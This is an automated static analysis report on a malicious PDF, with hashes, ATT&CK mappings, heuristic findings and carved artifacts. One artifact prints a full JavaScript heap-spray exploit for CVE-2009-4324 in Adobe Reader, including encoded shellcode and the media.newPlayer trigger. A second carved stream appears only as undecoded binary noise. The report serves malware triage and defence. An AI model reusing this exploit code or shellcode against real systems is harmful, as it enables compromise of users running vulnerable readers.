Malicious PDF — malware analysis report

Static analysis result for SHA-256 3044bcc6108b3643…

MALICIOUS

PDF

2.6 KB First seen: 2026-05-10
MD5: 4c8ee70ac6668f8f36aac4522aa98af1 SHA-1: 00868dd0a42516a1e85d36519cc22817bd5e5fdd SHA-256: 3044bcc6108b36435a345d7e587c4f3dbf1a5acfd57ed380d0f997cc57c3bab2
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF is encrypted and contains a JavaScript action, indicating that the malicious content is intentionally obfuscated. The embedded JavaScript stream is likely responsible for executing the payload, which is hidden from static analysis. This technique is commonly used to bypass security controls and deliver further stages of an attack, such as credential harvesting or malware deployment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0002_000.js pdf-javascript-stream PDF /JS object 2 at offset 0x62 1478 bytes
SHA-256: a3549c690d37eea72229d99662b9a5c05b4eb89210c43209dc1d0b7efa8762fb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function spray_heap()
        {
            var chunk_size, payload, nopsled;
            
            chunk_size = 0x8000;
            payload = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%u6f13%ub102%u830e%ufceb%uf4e2%uea93%u0ef5%u026f%u4b3a%u8953%u0bcd%u0317%u855e%u1a20%u513a%u034f%u475a%u36e4%u0f3a%u3381%u9771%u86c3%u7a71%uc368%u037b%uc06e%ufa5a%u5654%u0a95%ue71a%u513a%u034b%u685a%u0ee4%u85fa%u1e30%ue5b0%u1ee4%u0f3a%u8b84%u2aed%uc16b%uce80%u890b%u3ef1%uc2ea%u02c9%u42e4%u85bd%u1e1f%u851c%u0a07%u075a%u82e4%u0e01%u026f%u663a%u5d53%uf880%u540f%uf638%uc2ec%u5eca%u7c07%uec69%u6a1c%uf029%u0ce5%uf1e6%u6188%u62d0%u2c0c%u76d4%u020a%u0eb1");
            nopsled = unescape("%u0d0d%u0d0d");
            while (nopsled.length < chunk_size)
                nopsled += nopsled;
            nopsled_len = chunk_size - (payload.length + 20);        
            nopsled = nopsled.substring(0, nopsled_len);
            heap_chunks = new Array();
            for (var i = 0 ; i < 1200 ; i++)
                heap_chunks[i] = nopsled + payload;
        }    
         
        function trigger_bug()
        {
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
        }
        
        spray_heap();
        trigger_bug();
javascript_obj0002_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 2 at offset 0x62 164 bytes
SHA-256: 6bc4efa3fd5c4e7e5543bff1d1cd93cee07a89c5aad81be83400509ea5682610
Detection
ClamAV: Win.Exploit.Fnstenv_mov-1
Obfuscation or payload: unlikely
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x1BF 1504 bytes
SHA-256: 8dd4c53c5ba04c7c4b18b929facaf45796e24e8751ff49a0e39f73834411c825
Preview script
First 1,000 lines of the extracted script
d�(� 7�� ��*��
�PB ;� \GK�VU�T� ��<� p��� ��wĪ  J�SE��f $�w��(���� �.� >[���"�s�N<aL�a��ɫ�
 L��9Z���ު .� �g< �	�� ��*��e X��2 � �� �5��>�-���_��ݳ; <�撺:	#� ��m ��7Q�� aO�^D@�cdG� 73�Г�Vn z����騋�=� sj�r���n6�� � ��Q�7 � C�6P ߒ��+՞�0 כ�!>�u>�3  .K��B>rK	��m�  �� (�  ���� �2���������]� ���A٭� �]儇x�q�>� )��M���֛�9e  �b �#W� ��<Yf~q�P1n�`�GD�xo �7�X� �� ��s%���� �~� �Cug�Zs7�V����:�!A�  [C��i��Tx��t���ϧ �����J�; �   �]_�"�}e �E w �
�J  �O̪ w�;gk�(n���G� �<<O�% ؄�f�h�X-� ��� ����@�@�Em�%5 ŵ�D F�'���W*nh4�
�9�X��"+{�4��K��.����3hx\��D,�  �H�$X�  ��ۥ�EL׼��� *�4��$UH�wJ�,��� k�ՠ� � ���ۻ�n n蝁 &
~�&v>�fgŀE�J~S� ���׿&��-�f
���ޖ�~�@��x7 i= ׀�Q^5�+�B  C �-����i$��J��� f��W� -� R��?ޏ$r�s� ����ixj-"�� �Z�F��Q�*u �=D�� �i C:&>� j 
�qI �C{���~�^��5[�~� �����h ��Z��N O�Mr�s�h� 3���;* C�m�
  �� 6��Za��?^̒+a  R�k�7`�h  )�� � ��L�(v�� �����ؓ�� ���Co��ל��
W�*�3�> 8x�'X���- ]�
&&���V, 6� V�r	 ���(�T�D���dٓ���[% �  �G\����"P�H�,��G���eƿH���A �~hu    NE�>��;�pj`��� �2�~�`�_X) G� w0�3�r bM� ��  Mz+�L(�jXG(����M7�ޒ�RL '��"� \�BF 9�| ���nh �pHLs0 �@�3' %�:R�I�,�V�N?{o
[Z�� /G æ!N� D ��u����N_�n��%�Ѐ[�K�� �5 ��Z���=�� �]��� 
 ��
ǝ�l4�P �\ a� d�n,�E� �? A <\��� o1�UsG��Ӭ� ���f�Ny�Xd(�W�l] � ��w�b�j ���#� E�)  �� x�GN  n��1 �BU��,x ��7 � �q�Ǣ �_�̝� �v=�!�pD�_�)k͓�
c6�Q��i���uD��n�M�/^
��0~XyM=��(EY�GΆ�� �(� �r� ћ݆�ơ���ÔG��cAN1th� ��� �Ƭ�  ly ��N��   ũ�tB �XI��� ER��. ����ub���  � '0��E��ސ�@ �`M�2��� \4�DJhn���� ���;z��]�{ V&���7Id'���]w�